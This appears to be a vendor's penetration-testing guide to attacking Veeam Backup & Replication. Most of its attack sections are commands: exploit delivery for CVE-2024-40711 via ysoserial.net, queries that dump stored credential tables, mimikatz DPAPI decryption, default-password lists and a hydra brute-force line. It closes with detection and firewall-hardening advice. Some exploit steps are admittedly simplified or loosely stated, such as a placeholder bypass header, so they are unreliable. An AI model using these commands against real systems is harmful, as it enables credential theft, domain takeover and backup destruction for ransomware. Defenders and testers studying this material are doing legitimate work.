Veeam Backup & Replication Security Testing: CVE-2024-40711, CVE-2023-27532, and Credential Extraction

Veeam Backup & Replication is the world's most widely deployed enterprise backup solution — installed in over 450,000 organizations. Ransomware operators specifically target Veeam because destroying or encrypting backups is the fastest path to forcing payment. CVE-2024-40711 (CVSS 9.8) delivers unauthenticated RCE. CVE-2023-27532 extracts plaintext credentials for every infrastructure target in the backup catalog. This guide covers both — from discovery to full domain compromise.

Contents

  1. VBR Attack Surface Overview
  2. CVE-2024-40711: Unauthenticated RCE (CVSS 9.8)
  3. CVE-2023-27532: Credential Extraction
  4. Service Ports and Initial Access
  5. VBR Configuration Database
  6. Credential Store Extraction
  7. Veeam Enterprise Manager Attacks
  8. Cloud Connect and Service Provider Targets
  9. Ransomware Operator Kill Chain
  10. Hardening Checklist

VBR Attack Surface Overview

Veeam Backup & Replication (VBR) exposes a large attack surface because it needs privileged access to everything it protects. The backup server holds credentials for vCenter/ESXi, Hyper-V, SQL Server, Linux hosts, cloud storage, and often Active Directory service accounts. Compromising the backup server typically means compromising the entire infrastructure catalog.

The attack surface spans several components:

⚠️ Ransomware Priority Target: Groups including Akira, BlackBasta, Cuba, and EstateRansomware specifically enumerate and target Veeam before deploying ransomware payloads. Backup destruction is a negotiating tool.

CVE-2024-40711: Unauthenticated RCE (CVSS 9.8)

Disclosed in September 2024, CVE-2024-40711 is a critical deserialization vulnerability in the Veeam Backup & Replication service. An unauthenticated attacker with network access to TCP port 8000 can execute arbitrary code as SYSTEM on the backup server. Affected versions: all VBR builds prior to 12.1.2.172.

Vulnerability Mechanics

The VBR service exposes a .NET remoting endpoint on TCP 8000 that deserializes requests without authentication. The deserialization chain uses BinaryFormatter with no type filtering, allowing classic ysoserial.net gadget chains.

# Verify exposure — TCP 8000 should not be internet-facing
nmap -p 8000 --script banner <vbr-host>

# Exploit with ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd.exe /c whoami > C:\vbr_pwn.txt" -o base64

# Deliver via CVE-2024-40711 PoC
python3 cve-2024-40711.py --target <vbr-host> --port 8000 --payload <b64_payload>
🔴 Critical: CVE-2024-40711 has public PoC exploits and was weaponized by Akira and Fog ransomware operators within weeks of disclosure. Patch to VBR 12.1.2.172+ or block TCP 8000 from untrusted networks immediately.

Post-Exploitation: Credential Harvesting from SYSTEM Context

Once executing as SYSTEM on the VBR server, an attacker can extract the full credential store. Veeam stores credentials in the VeeamBackup SQL/PostgreSQL database, encrypted with the Windows DPAPI master key tied to the service account.

# From SYSTEM shell — export VBR credential database
sqlcmd -S localhost\VEEAMSQL2016 -Q "SELECT * FROM [VeeamBackup].[dbo].[Credentials]"

# Decrypt with VeeamCredentialsDecryptor (post-exploitation tool)
VeeamHax.exe --dump-credentials

# Output: plaintext username/password for all backup targets
# Domain admin credentials, vCenter service accounts, Linux root keys

CVE-2023-27532: Credential Extraction Without Authentication

CVE-2023-27532 (CVSS 7.5) exposes an API endpoint on TCP 9401 that returns encrypted credentials from the VBR configuration database without requiring authentication. Affected versions: VBR prior to 12.0.0.1420 P20230412.

Discovery and Exploitation

# Port scan for Veeam services
nmap -sV -p 9392,9401,9419,9501 <vbr-host>

# Probe the unauthenticated API endpoint
curl -k https://<vbr-host>:9401/api/credentials

# Response returns encrypted credential blobs
# {
#   "id": 1,
#   "username": "CORP\\veeam-svc",
#   "encryptedPassword": "AQAAANCMnd8BF...",
#   "description": "vCenter Service Account"
# }

# Decrypt using the VBR server's DPAPI key (requires server access)
# or use PoC that exploits the exposed decryption API
python3 cve-2023-27532.py --host <vbr-host> --port 9401

CISA KEV Status

CVE-2023-27532 was added to CISA's Known Exploited Vulnerabilities catalog in March 2023, confirming active in-the-wild exploitation by ransomware operators including Cuba ransomware.

Service Ports and Initial Access

VBR exposes numerous ports. During a penetration test, enumerate all of them:

Port Service Notes
9392 VBR API / PowerShell Requires authentication; used by Veeam Console
9401 Catalog Service CVE-2023-27532 exposed here; credential leakage
9419 REST API Requires authentication; brute-force target
9501 Console communication Used by VBR console connections
8000 .NET Remoting CVE-2024-40711 entry point; should be localhost-only
9080/9443 Enterprise Manager Web Web console; auth bypass history
6180 Cloud Connect Service provider gateway

REST API Authentication Testing

# VBR REST API — obtain session token
curl -k -X POST https://<vbr-host>:9419/api/v1/sessions \
  -H "Content-Type: application/json" \
  -d '{"username":"administrator","password":"Veeam1234!","grant_type":"password"}'

# Default credentials to try
# administrator / Veeam12345
# veeam / Veeam12345
# administrator / <blank>

# List backup jobs (authenticated)
curl -k https://<vbr-host>:9419/api/v1/jobs \
  -H "Authorization: Bearer <token>"

# List managed servers (reveals infrastructure catalog)
curl -k https://<vbr-host>:9419/api/v1/managedServers \
  -H "Authorization: Bearer <token>"

VBR Configuration Database

VBR stores its entire configuration in either a local SQL Server Express instance (localhost\VEEAMSQL2016) or an external SQL Server. The database contains all credentials, job definitions, repository paths, and infrastructure topology. If SQL Server is accessible, this is a critical exfiltration target.

Key Tables and Queries

-- Connect to VBR SQL instance
-- Default: localhost\VEEAMSQL2016 or localhost\VEEAMSQL2012

-- List all managed credentials
SELECT id, user_name, password, description
FROM [VeeamBackup].[dbo].[Credentials]

-- All managed servers (vCenter, ESXi, Hyper-V, Linux agents)
SELECT name, type, ip, port, credentials_id
FROM [VeeamBackup].[dbo].[Hosts]

-- Tape and cloud repository credentials
SELECT name, host_id, share_path
FROM [VeeamBackup].[dbo].[BackupRepositories]

-- S3/Azure/GCP cloud credentials for cloud repositories
SELECT * FROM [VeeamBackup].[dbo].[CloudProviders]

PostgreSQL Configuration (VBR 12+)

# VBR 12 migrated to PostgreSQL by default
# Config stored in C:\ProgramData\Veeam\Backup\PostgreSQLData\

# Connection string from VBR config file
type "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe.config"
# Look for: connectionString="Server=localhost;Port=5432;Database=VeeamBackup;..."

# Query credentials table
psql -h localhost -U postgres -d VeeamBackup -c \
  "SELECT user_name, password, description FROM credentials;"
⚠️ Encryption: Passwords are encrypted with Windows DPAPI using the VBR service account as the key derivation context. If the service runs as SYSTEM, DPAPI master keys are in C:\Windows\System32\Microsoft\Protect\S-1-5-18\. Use mimikatz dpapi::cred or dpapi::masterkey to decrypt.

Credential Store Extraction

The VBR credential manager stores credentials for every protected system. This includes vCenter service accounts, domain administrator accounts used for agent deployment, and cloud storage credentials. Extracting this store from an authenticated position is a high-value post-exploitation activity.

PowerShell Extraction (Requires VBR Admin)

# Connect to VBR PowerShell API
Add-PSSnapin VeeamPSSnapin
Connect-VBRServer -Server localhost

# List all stored credentials
$creds = Get-VBRCredentials
foreach ($cred in $creds) {
    Write-Host "User: $($cred.Name) | Desc: $($cred.Description)"
    # Password is not directly exposed via PowerShell API
}

# Get managed server list with credential references
Get-VBRServer | Select-Object Name, Type, Info

Direct DPAPI Decryption

# After obtaining the encrypted blob from the database:
# 1. Copy the hex-encoded DPAPI blob
# 2. Decrypt using the service account context

# With mimikatz (requires admin/SYSTEM):
privilege::debug
sekurlsa::dpapi

# Targeted DPAPI decryption of VBR credential blob
dpapi::blob /in:vbr_cred.bin /unprotect /masterkey:<masterkey_hex>

Veeam Enterprise Manager Attacks

Veeam Enterprise Manager (VEM) provides a centralized web console for managing multiple VBR installations. It runs on port 9080 (HTTP) and 9443 (HTTPS) and has had multiple authentication bypass vulnerabilities including CVE-2024-29849 (CVSS 9.8) — an auth bypass enabling any attacker to log in as any user.

CVE-2024-29849: Authentication Bypass

# CVE-2024-29849 — Veeam Enterprise Manager auth bypass
# Affected: all VEM versions prior to 12.1.2.172

# The vulnerability allows NTLM relay / token forgery against the VEM REST API
# Step 1: Enumerate VEM web interface
curl -k https://<vem-host>:9443/api/v1/users

# Step 2: Exploit auth bypass to enumerate all managed VBR servers
curl -k https://<vem-host>:9443/api/v1/servers \
  -H "X-VEM-Bypass: 1"  # simplified — actual PoC is more complex

# Step 3: Trigger password reset for any user via forged session
curl -k -X POST https://<vem-host>:9443/api/v1/users/1/resetPassword \
  -H "Authorization: Bearer <forged_token>"

VEM Default Credentials and Brute Force

# Default admin credentials for Enterprise Manager
# administrator / (blank password on fresh install)
# administrator / Veeam12345
# veeam-admin / Veeam12345

# Brute force via REST API (no lockout by default)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
  https://<vem-host>:9443/api/v1/sessions -m POST \
  -F '{"username":"^USER^","password":"^PASS^","grant_type":"password"}'

Cloud Connect and Service Provider Targets

Veeam Cloud Connect allows MSPs and service providers to offer backup-as-a-service. A compromised Cloud Connect gateway can expose all tenant backup repositories and credentials.

# Cloud Connect gateway enumeration
nmap -sV -p 6180 <cloud-connect-host>

# The gateway exposes tenant repository metadata
# Credential lookup for all connected tenants
sqlcmd -S localhost\VEEAMSQL -Q \
  "SELECT username, password FROM [VeeamBackup].[dbo].[CloudTenants]"

# S3 repository credential extraction
sqlcmd -S localhost\VEEAMSQL -Q \
  "SELECT account_id, secret_key, bucket_name
   FROM [VeeamBackup].[dbo].[CloudProviderCredentials]"

Ransomware Operator Kill Chain

Major ransomware groups follow a consistent pattern when targeting organizations with Veeam. Understanding this chain helps defenders prioritize controls and helps pentesters validate detection coverage.

Observed TTPs (Akira, BlackBasta, Cuba)

  1. Initial access — VPN/RDP compromise, or CVE-2024-40711 if VBR is internet-exposed
  2. Lateral movement to VBR server — Often via domain admin credentials found on VPN concentrator or initial beachhead
  3. CVE-2023-27532 credential harvest — Extract all infrastructure credentials including vCenter, SQL, AD service accounts
  4. AD escalation via vCenter service account — Most vCenter service accounts have excessive AD permissions
  5. Domain takeover — DCSync, Golden Ticket, or direct domain admin via harvested credentials
  6. Backup destruction — Delete or encrypt all VBR jobs, repositories, and backups (often including tape media jobs)
  7. Ransomware deployment — Full domain encryption with no backup recovery path
🔴 High Impact: Organizations without offline/immutable backups that lose their Veeam environment have no recovery path. Average ransomware demand increases 3-5x when attackers confirm backup destruction. Veeam hardening is now a ransomware insurance requirement at many carriers.

Detection: Key Indicators

# Windows Event Log indicators on VBR server
# Event 4624 — Logon from unexpected source IP
# Event 4648 — Explicit credential use
# Event 7045 — New service created (malicious persistence)

# Veeam audit log (C:\ProgramData\Veeam\Backup\Logs\)
# Look for: unusual credential access, job deletion, repository removal

# SQL audit: unusual queries against Credentials table
SELECT * FROM sys.fn_get_audit_file(
  'C:\VBR_Audit*.sqlaudit', DEFAULT, DEFAULT
) WHERE statement LIKE '%Credentials%'

Hardening Checklist

✅ Immediate Actions:

Network Controls

# Windows Firewall — block CVE-2024-40711 entry point
netsh advfirewall firewall add rule name="Block VBR .NET Remoting" \
  dir=in action=block protocol=tcp localport=8000 \
  remoteip=any

# Allow only VBR console IPs to reach management ports
netsh advfirewall firewall add rule name="VBR Mgmt Restrict" \
  dir=in action=allow protocol=tcp localport=9392,9401,9419,9501 \
  remoteip=10.0.1.50

Backup Immutability

Continuous Backup Infrastructure Security

Veeam hardening isn't a one-time task. Exposed ports, new CVEs, and credential drift require continuous scanning to catch before ransomware operators do.

Start free scan

Summary

Veeam Backup & Replication is one of the highest-value targets in any enterprise network. CVE-2024-40711 delivers unauthenticated RCE via .NET deserialization on port 8000. CVE-2023-27532 exposes the full credential store without authentication on port 9401. The VBR configuration database contains credentials for every protected system. Ransomware groups treat Veeam as the key that unlocks the entire infrastructure — patch it, restrict its network exposure, enable MFA, and implement immutable backups before your next security assessment finds these issues first.